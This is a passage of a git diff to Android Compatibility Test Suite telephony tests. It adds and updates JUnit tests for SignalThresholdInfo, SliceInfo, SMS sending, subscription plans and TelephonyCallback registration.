+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+    }
+
+    @Test
+    public void testConstructor_validParams() {
+        for (int[] params : VALID_PARAMS) {
+            final int ran = params[0];
+            final int signalMeasurementType = params[1];
+            final int[] thresholds = new int[]{params[2]};
+
+            SignalThresholdInfo sti = new SignalThresholdInfo.Builder()
+                    .setRadioAccessNetworkType(ran)
+                    .setSignalMeasurementType(signalMeasurementType)
+                    .setThresholds(thresholds)
+                    .build();
+
+            assertEquals(ran, sti.getRadioAccessNetworkType());
+            assertEquals(signalMeasurementType, sti.getSignalMeasurementType());
+            assertThat(thresholds).isEqualTo(sti.getThresholds());
+        }
+    }
+
+    @Test
+    public void testConstructor_invalidSignalMeasurementType() {
+        final int[] invalidSignalMeasurementTypes = new int[]{-1, 0, 9};
+        for (int signalMeasurementType : invalidSignalMeasurementTypes) {
+            buildWithInvalidParameterThrowException(
+                    AccessNetworkConstants.AccessNetworkType.GERAN, signalMeasurementType,
+                    new int[]{-1});
+        }
+    }
+
+    @Test
+    public void testConstructor_nullThresholds() {
+        buildWithInvalidParameterThrowException(
+                AccessNetworkConstants.AccessNetworkType.GERAN,
+                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI, null);
+    }
+
+    @Test
+    public void testConstructor_invalidRanMeasurementTypeCombo() {
+        for (int ran : VALID_RAN_TO_MEASUREMENT_TYPE_MAP.keySet()) {
+            Set validTypes = VALID_RAN_TO_MEASUREMENT_TYPE_MAP.get(ran);
+            for (int type = SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI;
+                    type <= SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR; type++) {
+                if (!validTypes.contains(type)) {
+                    buildWithInvalidParameterThrowException(ran, type, new int[]{-1});
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testConstructor_thresholdsOutOfRange() {
+        for (int signalMeasurementType : INVALID_THRESHOLDS_MAP.keySet()) {
+            List<Integer> invalidThresholds = INVALID_THRESHOLDS_MAP.get(signalMeasurementType);
+            for (int threshold : invalidThresholds) {
+                buildWithInvalidParameterThrowException(getValidRan(signalMeasurementType),
+                        signalMeasurementType, new int[]{threshold});
+            }
+        }
+    }
+
+    @Test
+    public void testParcel() {
+        for (int[] params : VALID_PARAMS) {
+            final int ran = params[0];
+            final int signalMeasurementType = params[1];
+            final int[] thresholds = new int[]{params[2]};
+
+            SignalThresholdInfo sti = new SignalThresholdInfo.Builder()
+                    .setRadioAccessNetworkType(ran)
+                    .setSignalMeasurementType(signalMeasurementType)
+                    .setThresholds(thresholds)
+                    .build();
+            Parcel p = Parcel.obtain();
+            sti.writeToParcel(p, 0);
+            p.setDataPosition(0);
+
+            SignalThresholdInfo newSt = SignalThresholdInfo.CREATOR.createFromParcel(p);
+            assertThat(newSt).isEqualTo(sti);
+        }
+
+    }
+
+    @Test
+    public void testEquals() {
+        final int[] dummyThresholds = new int[]{-100, -90, -70, -60};
+        final int[] dummyThresholdsDisordered = new int[]{-60, -90, -100, -70};
+
+        SignalThresholdInfo sti1 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholds)
+                .build();
+
+        SignalThresholdInfo sti2 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.CDMA2000)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholds)
+                .build();
+
+        SignalThresholdInfo sti3 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholds)
+                .build();
+
+        SignalThresholdInfo sti4 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholdsDisordered)
+                .build();
+
+        assertTrue(sti1.equals(sti1));
+        assertFalse(sti1.equals(sti2));
+        assertTrue(sti1.equals(sti3));
+        assertTrue(sti1.equals(sti4));
+        assertFalse(sti1.equals("sti1"));
+    }
+
+    private void buildWithInvalidParameterThrowException(int ran, int signalMeasurementType,
+            int[] thresholds) {
+        try {
+            new SignalThresholdInfo.Builder()
+                    .setRadioAccessNetworkType(ran)
+                    .setSignalMeasurementType(signalMeasurementType)
+                    .setThresholds(thresholds)
+                    .build();
+            fail("Exception expected");
+        } catch (IllegalArgumentException | NullPointerException expected) {
+        }
+    }
+
+    /**
+     * Return a possible valid RAN value for the measurement type. This is used to prevent the
+     * invalid ran/type causing IllegalArgumentException when testing other invalid input cases.
+     */
+    private static int getValidRan(@SignalThresholdInfo.SignalMeasurementType int type) {
+        switch (type) {
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI:
+                return AccessNetworkConstants.AccessNetworkType.GERAN;
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP:
+                return AccessNetworkConstants.AccessNetworkType.UTRAN;
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR:
+                return AccessNetworkConstants.AccessNetworkType.EUTRAN;
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR:
+                return AccessNetworkConstants.AccessNetworkType.NGRAN;
+            default:
+                return AccessNetworkConstants.AccessNetworkType.UNKNOWN;
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SliceInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SliceInfoTest.java
new file mode 100644
index 0000000..d0ab1ae
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SliceInfoTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_EMBB;
+import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_MIOT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.os.Parcel;
+import android.telephony.data.SliceInfo;
+
+import org.junit.Test;
+
+public class SliceInfoTest {
+    private static final int TEST_SLICE_DIFFERENTIATOR = 1;
+    private static final int TEST_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_EMBB;
+    private static final int TEST_HPLMN_SLICE_DIFFERENTIATOR = 10;
+    private static final int TEST_HPLMN_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_MIOT;
+
+    @Test
+    public void testParceling() {
+        testParceling(new SliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .build());
+
+        testParceling(new SliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+                .build());
+
+        testParceling(new SliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
+                .build());
+
+        testParceling(new SliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
+                .setMappedHplmnSliceDifferentiator(TEST_HPLMN_SLICE_DIFFERENTIATOR)
+                .build());
+    }
+
+    private void testParceling(SliceInfo sliceInfo1) {
+        Parcel stateParcel = Parcel.obtain();
+        sliceInfo1.writeToParcel(stateParcel, 0);
+        stateParcel.setDataPosition(0);
+
+        SliceInfo parcelResponse = SliceInfo.CREATOR.createFromParcel(stateParcel);
+        assertThat(parcelResponse).isEqualTo(sliceInfo1);
+    }
+
+    @Test
+    public void testSliceDifferentiatorRange() {
+        new SliceInfo.Builder()
+                .setSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR)
+                .setSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR);
+
+        try {
+            new SliceInfo.Builder()
+                    .setSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR - 1);
+            fail("Illegal state exception expected");
+        } catch (IllegalArgumentException ignored) {
+        }
+
+        try {
+            new SliceInfo.Builder()
+                    .setMappedHplmnSliceDifferentiator(SliceInfo.MIN_SLICE_DIFFERENTIATOR - 1);
+            fail("Illegal state exception expected");
+        } catch (IllegalArgumentException ignored) {
+        }
+
+        try {
+            new SliceInfo.Builder()
+                    .setSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR + 1);
+            fail("Illegal state exception expected");
+        } catch (IllegalArgumentException ignored) {
+        }
+
+        try {
+            new SliceInfo.Builder()
+                    .setMappedHplmnSliceDifferentiator(SliceInfo.MAX_SLICE_DIFFERENTIATOR + 1);
+            fail("Illegal state exception expected");
+        } catch (IllegalArgumentException ignored) {
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index e6f30a2..05a749e 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -133,7 +133,7 @@
     private static boolean sHasShellPermissionIdentity = false;
     private static long sMessageId = 0L;
 
-    private static final int TIME_OUT = 1000 * 60 * 4;
+    private static final int TIME_OUT = 1000 * 60 * 10;
     private static final int NO_CALLS_TIMEOUT_MILLIS = 1000; // 1 second
 
     @Before
@@ -289,10 +289,12 @@
         init();
         if (addMessageId) {
             long fakeMessageId = 19812L;
-            sendTextMessageWithMessageId(mDestAddr, mDestAddr, mSentIntent, mDeliveredIntent,
-                    fakeMessageId);
+            sendTextMessageWithMessageId(mDestAddr,
+                    String.valueOf(SystemClock.elapsedRealtimeNanos()), mSentIntent,
+                    mDeliveredIntent, fakeMessageId);
         } else {
-            sendTextMessage(mDestAddr, mDestAddr, mSentIntent, mDeliveredIntent);
+            sendTextMessage(mDestAddr, String.valueOf(SystemClock.elapsedRealtimeNanos()),
+                    mSentIntent, mDeliveredIntent);
         }
         assertTrue("[RERUN] Could not send SMS. Check signal.",
                 mSendReceiver.waitForCalls(1, TIME_OUT));
@@ -345,7 +347,7 @@
         }
     }
 
-    @Test
+    @Test(timeout = 10 * 60 * 1000)
     public void testSendAndReceiveMessages() throws Exception {
         assertFalse("[RERUN] SIM card does not provide phone number. Use a suitable SIM Card.",
                 TextUtils.isEmpty(mDestAddr));
@@ -387,7 +389,8 @@
 
         // single-part SMS blocking
         init();
-        sendTextMessage(mDestAddr, mDestAddr, mSentIntent, mDeliveredIntent);
+        sendTextMessage(mDestAddr, String.valueOf(SystemClock.elapsedRealtimeNanos()),
+                mSentIntent, mDeliveredIntent);
         assertTrue("[RERUN] Could not send SMS. Check signal.",
                 mSendReceiver.waitForCalls(1, TIME_OUT));
         assertTrue("Expected no messages to be received due to number blocking.",
@@ -921,7 +924,7 @@
             if (mAction.equals(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)) {
                 sMessageId = intent.getLongExtra("messageId", 0L);
             }
-            Log.i(TAG, "onReceive " + intent.getAction());
+            Log.i(TAG, "onReceive " + intent.getAction() + " mAction " + mAction);
             if (intent.getAction().equals(mAction)) {
                 synchronized (mLock) {
                     mCalls += 1;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
old mode 100644
new mode 100755
index d9bb443..77d9bcb
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -41,6 +41,8 @@
 import android.net.NetworkRequest;
 import android.os.Looper;
 import android.os.ParcelUuid;
+import android.os.PersistableBundle;
+import android.telephony.CarrierConfigManager;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.SubscriptionPlan;
@@ -124,6 +126,7 @@
     @AfterClass
     public static void tearDownClass() throws Exception {
         if (!isSupported()) return;
+        TelephonyUtils.flushTelephonyMetrics(InstrumentationRegistry.getInstrumentation());
     }
 
     @Before
@@ -245,7 +248,7 @@
         assertEquals(Arrays.asList(), mSm.getSubscriptionPlans(mSubId));
 
         // Push simple plan and get it back
-        final SubscriptionPlan plan = buildValidSubscriptionPlan();
+        final SubscriptionPlan plan = buildValidSubscriptionPlan(System.currentTimeMillis());
         mSm.setSubscriptionPlans(mSubId, Arrays.asList(plan));
         assertEquals(Arrays.asList(plan), mSm.getSubscriptionPlans(mSubId));
 
@@ -284,7 +287,8 @@
         }
 
         // Defining plans means we get to override
-        mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+        mSm.setSubscriptionPlans(mSubId,
+                Arrays.asList(buildValidSubscriptionPlan(System.currentTimeMillis())));
 
         // Cellular is uncongested by default
         assertTrue(cm.getNetworkCapabilities(net).hasCapability(NET_CAPABILITY_NOT_CONGESTED));
@@ -294,7 +298,8 @@
             final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
                 return !caps.hasCapability(NET_CAPABILITY_NOT_CONGESTED);
             });
-            mSm.setSubscriptionOverrideCongested(mSubId, true, 0);
+            mSm.setSubscriptionOverrideCongested(
+                    mSubId, true, TelephonyManager.getAllNetworkTypes(), 0);
             assertTrue(latch.await(10, TimeUnit.SECONDS));
         }
 
@@ -310,7 +315,8 @@
         // Now revoke our access
         setSubPlanOwner(mSubId, null);
         try {
-            mSm.setSubscriptionOverrideCongested(mSubId, true, 0);
+            mSm.setSubscriptionOverrideCongested(
+                    mSubId, true, TelephonyManager.getAllNetworkTypes(), 0);
             fail();
         } catch (SecurityException | IllegalStateException expected) {
         }
@@ -344,9 +350,8 @@
         final Network net = findCellularNetwork();
         assertNotNull("Active cellular network required", net);
 
-        // Make ourselves the owner and define some plans
-        setSubPlanOwner(mSubId, mPackageName);
-        mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+        // TODO: Remove this check after b/176119724 is fixed.
+        if (!isUnmetered5GSupported()) return;
 
         // Cellular is metered by default
         assertFalse(cm.getNetworkCapabilities(net).hasCapability(
@@ -357,7 +362,8 @@
             final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
                 return caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
             });
-            mSm.setSubscriptionOverrideUnmetered(mSubId, true, 0);
+            mSm.setSubscriptionOverrideUnmetered(
+                    mSubId, true, TelephonyManager.getAllNetworkTypes(), 0);
             assertTrue(latch.await(10, TimeUnit.SECONDS));
         }
 
@@ -366,7 +372,8 @@
             final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
                 return !caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
             });
-            mSm.setSubscriptionOverrideUnmetered(mSubId, false, 0);
+            mSm.setSubscriptionOverrideUnmetered(
+                    mSubId, false, TelephonyManager.getAllNetworkTypes(), 0);
             assertTrue(latch.await(10, TimeUnit.SECONDS));
         }
     }
@@ -380,9 +387,13 @@
         final Network net = findCellularNetwork();
         assertNotNull("Active cellular network required", net);
 
+        // TODO: Remove this check after b/176119724 is fixed.
+        if (!isUnmetered5GSupported()) return;
+
         // Make ourselves the owner and define some plans
         setSubPlanOwner(mSubId, mPackageName);
-        mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+        mSm.setSubscriptionPlans(mSubId,
+                Arrays.asList(buildValidSubscriptionPlan(System.currentTimeMillis())));
 
         // Cellular is metered by default
         assertFalse(cm.getNetworkCapabilities(net).hasCapability(
@@ -410,7 +421,8 @@
             final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
                 return !caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
             });
-            mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+            mSm.setSubscriptionPlans(mSubId,
+                    Arrays.asList(buildValidSubscriptionPlan(System.currentTimeMillis())));
             assertTrue(latch.await(10, TimeUnit.SECONDS));
         }
     }
@@ -465,7 +477,7 @@
 
         // Error when adding 2 plans with the same network type
         List<SubscriptionPlan> plans = new ArrayList<>();
-        plans.add(buildValidSubscriptionPlan());
+        plans.add(buildValidSubscriptionPlan(System.currentTimeMillis()));
         plans.add(SubscriptionPlan.Builder
                 .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
                         Period.ofMonths(1))
@@ -501,16 +513,17 @@
 
     @Test
     public void testSubscriptionPlanResetNetworkTypes() {
+        long time = System.currentTimeMillis();
         SubscriptionPlan plan = SubscriptionPlan.Builder
                 .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
                         Period.ofMonths(1))
                 .setTitle("CTS")
                 .setNetworkTypes(new int[] {TelephonyManager.NETWORK_TYPE_LTE})
                 .setDataLimit(1_000_000_000, SubscriptionPlan.LIMIT_BEHAVIOR_DISABLED)
-                .setDataUsage(500_000_000, System.currentTimeMillis())
+                .setDataUsage(500_000_000, time)
                 .resetNetworkTypes()
                 .build();
-        assertEquals(plan, buildValidSubscriptionPlan());
+        assertEquals(plan, buildValidSubscriptionPlan(time));
     }
 
     @Test
@@ -738,6 +751,8 @@
                 // not treating this as test failure as it may be due to UX confirmation or may not
                 // be supported
                 Log.e(TAG, "setSubscriptionEnabled() did not complete");
+                executeWithShellPermissionAndDefault(false, mSm,
+                    (sm) -> sm.setSubscriptionEnabled(mSubId, enabled));
                 return;
             }
 
@@ -902,13 +917,13 @@
         return latch;
     }
 
-    private static SubscriptionPlan buildValidSubscriptionPlan() {
+    private static SubscriptionPlan buildValidSubscriptionPlan(long dataUsageTime) {
         return SubscriptionPlan.Builder
                 .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
                         Period.ofMonths(1))
                 .setTitle("CTS")
                 .setDataLimit(1_000_000_000, SubscriptionPlan.LIMIT_BEHAVIOR_DISABLED)
-                .setDataUsage(500_000_000, System.currentTimeMillis())
+                .setDataUsage(500_000_000, dataUsageTime)
                 .build();
     }
 
@@ -941,4 +956,24 @@
         SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
                 "cmd netpolicy set sub-plan-owner " + subId + " " + packageName);
     }
+
+    private boolean isUnmetered5GSupported() {
+        final CarrierConfigManager ccm = InstrumentationRegistry.getContext()
+                .getSystemService(CarrierConfigManager.class);
+        PersistableBundle carrierConfig = ccm.getConfigForSubId(mSubId);
+
+        final TelephonyManager tm = InstrumentationRegistry.getContext()
+                .getSystemService(TelephonyManager.class);
+        int dataNetworkType = tm.getDataNetworkType(mSubId);
+        long supportedRats = ShellIdentityUtils.invokeMethodWithShellPermissions(tm,
+                TelephonyManager::getSupportedRadioAccessFamily);
+
+        boolean validCarrier = carrierConfig.getBoolean(
+                CarrierConfigManager.KEY_NETWORK_TEMP_NOT_METERED_SUPPORTED_BOOL);
+        boolean validCapabilities = (supportedRats & TelephonyManager.NETWORK_TYPE_BITMASK_NR) != 0;
+        // TODO: need to check for TelephonyDisplayInfo override for NR NSA
+        boolean validNetworkType = dataNetworkType == TelephonyManager.NETWORK_TYPE_NR;
+
+        return validCarrier && validNetworkType && validCapabilities;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
new file mode 100644
index 0000000..5c2b0dd
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
@@ -0,0 +1,1356 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.annotation.NonNull;
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.telephony.Annotation.RadioPowerState;
+import android.telephony.Annotation.SimActivationState;
+import android.telephony.BarringInfo;
+import android.telephony.CellIdentity;
+import android.telephony.CellInfo;
+import android.telephony.CellLocation;
+import android.telephony.LinkCapacityEstimate;
+import android.telephony.PhysicalChannelConfig;
+import android.telephony.PreciseCallState;
+import android.telephony.PreciseDataConnectionState;
+import android.telephony.ServiceState;
+import android.telephony.SignalStrength;
+import android.telephony.SmsManager;
+import android.telephony.TelephonyCallback;
+import android.telephony.TelephonyDisplayInfo;
+import android.telephony.TelephonyManager;
+import android.telephony.TelephonyManager.DataEnabledReason;
+import android.telephony.emergency.EmergencyNumber;
+import android.telephony.ims.ImsReasonInfo;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.Executor;
+
+public class TelephonyCallbackTest {
+
+    public static final long WAIT_TIME = 1000;
+
+    private static final String TEST_EMERGENCY_NUMBER = "998877665544332211";
+
+    private boolean mOnActiveDataSubscriptionIdChanged;
+    private boolean mOnCallForwardingIndicatorChangedCalled;
+    private boolean mOnCallStateChangedCalled;
+    private boolean mOnCellLocationChangedCalled;
+    private boolean mOnUserMobileDataStateChanged;
+    private boolean mOnDataActivityCalled;
+    private boolean mOnDataConnectionStateChangedCalled;
+    private boolean mOnDataConnectionStateChangedWithNetworkTypeCalled;
+    private boolean mOnMessageWaitingIndicatorChangedCalled;
+    private boolean mOnCellInfoChangedCalled;
+    private boolean mOnServiceStateChangedCalled;
+    private boolean mOnPreciseCallStateChangedCalled;
+    private boolean mOnCallDisconnectCauseChangedCalled;
+    private boolean mOnImsCallDisconnectCauseChangedCalled;
+    private EmergencyNumber mOnOutgoingSmsEmergencyNumberChanged;
+    private boolean mOnPreciseDataConnectionStateChanged;
+    private boolean mOnRadioPowerStateChangedCalled;
+    private boolean mVoiceActivationStateChangedCalled;
+    private boolean mSrvccStateChangedCalled;
+    private boolean mOnBarringInfoChangedCalled;
+    private boolean mOnRegistrationFailedCalled;
+    private boolean mOnTelephonyDisplayInfoChanged;
+    private boolean mOnPhysicalChannelConfigCalled;
+    private boolean mOnDataEnabledChangedCalled;
+    private boolean mOnLinkCapacityEstimateChangedCalled;
+    @RadioPowerState
+    private int mRadioPowerState;
+    @SimActivationState
+    private int mVoiceActivationState;
+    private BarringInfo mBarringInfo;
+    private PreciseDataConnectionState mPreciseDataConnectionState;
+    private PreciseCallState mPreciseCallState;
+    private SignalStrength mSignalStrength;
+    private TelephonyManager mTelephonyManager;
+    private final Object mLock = new Object();
+    private static final String TAG = "android.telephony.cts.TelephonyCallbackTest";
+    private static ConnectivityManager mCm;
+    private HandlerThread mHandlerThread;
+    private Handler mHandler;
+    private static final List<Integer> DATA_CONNECTION_STATE = Arrays.asList(
+            TelephonyManager.DATA_CONNECTED,
+            TelephonyManager.DATA_DISCONNECTED,
+            TelephonyManager.DATA_CONNECTING,
+            TelephonyManager.DATA_UNKNOWN,
+            TelephonyManager.DATA_SUSPENDED
+    );
+    private static final List<Integer> PRECISE_CALL_STATE = Arrays.asList(
+            PreciseCallState.PRECISE_CALL_STATE_ACTIVE,
+            PreciseCallState.PRECISE_CALL_STATE_ALERTING,
+            PreciseCallState.PRECISE_CALL_STATE_DIALING,
+            PreciseCallState.PRECISE_CALL_STATE_DISCONNECTED,
+            PreciseCallState.PRECISE_CALL_STATE_DISCONNECTING,
+            PreciseCallState.PRECISE_CALL_STATE_HOLDING,
+            PreciseCallState.PRECISE_CALL_STATE_IDLE,
+            PreciseCallState.PRECISE_CALL_STATE_INCOMING,
+            PreciseCallState.PRECISE_CALL_STATE_NOT_VALID,
+            PreciseCallState.PRECISE_CALL_STATE_WAITING
+    );
+
+    private Executor mSimpleExecutor = new Executor() {
+        @Override
+        public void execute(Runnable r) {
+            r.run();
+        }
+    };
+
+    @Before
+    public void setUp() throws Exception {
+        mTelephonyManager =
+                (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        mCm = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+        mHandlerThread = new HandlerThread("TelephonyCallbackTest");
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mHandlerThread != null) {
+            mHandlerThread.quitSafely();
+        }
+    }
+
+    @Test
+    public void testTelephonyCallback() {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        Looper.prepare();
+        new TelephonyCallback();
+    }
+
+    private void registerTelephonyCallbackWithPermission(@NonNull TelephonyCallback callback) {
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                (tm) -> tm.registerTelephonyCallback(mSimpleExecutor, callback));
+    }
+
+    private void registerTelephonyCallback(@NonNull TelephonyCallback callback) {
+        mTelephonyManager.registerTelephonyCallback(mSimpleExecutor, callback);
+    }
+
+    private void unRegisterTelephonyCallback(boolean condition,
+                                             @NonNull TelephonyCallback callback) throws Exception {
+        synchronized (mLock) {
+            condition = false;
+            mTelephonyManager.unregisterTelephonyCallback(callback);
+            mLock.wait(WAIT_TIME);
+
+            assertFalse(condition);
+        }
+    }
+
+    private ServiceStateListener mServiceStateCallback;
+
+    private class ServiceStateListener extends TelephonyCallback
+            implements TelephonyCallback.ServiceStateListener {
+        @Override
+        public void onServiceStateChanged(ServiceState serviceState) {
+            synchronized (mLock) {
+                mOnServiceStateChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnServiceStateChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnServiceStateChangedCalled);
+
+        mHandler.post(() -> {
+            mServiceStateCallback = new ServiceStateListener();
+            registerTelephonyCallback(mServiceStateCallback);
+        });
+        synchronized (mLock) {
+            if (!mOnServiceStateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnServiceStateChangedCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnServiceStateChangedCalled, mServiceStateCallback);
+    }
+
+    @Test
+    public void testOnUnRegisterFollowedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnServiceStateChangedCalled);
+
+        mHandler.post(() -> {
+            mServiceStateCallback = new ServiceStateListener();
+            registerTelephonyCallback(mServiceStateCallback);
+        });
+        synchronized (mLock) {
+            if (!mOnServiceStateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnServiceStateChangedCalled);
+
+        // reset and un-register
+        mOnServiceStateChangedCalled = false;
+        if (mServiceStateCallback != null) {
+            // un-register the listener
+            mTelephonyManager.unregisterTelephonyCallback(mServiceStateCallback);
+        }
+        synchronized (mLock) {
+            if (!mOnServiceStateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        assertFalse(mOnServiceStateChangedCalled);
+
+        // re-register the listener
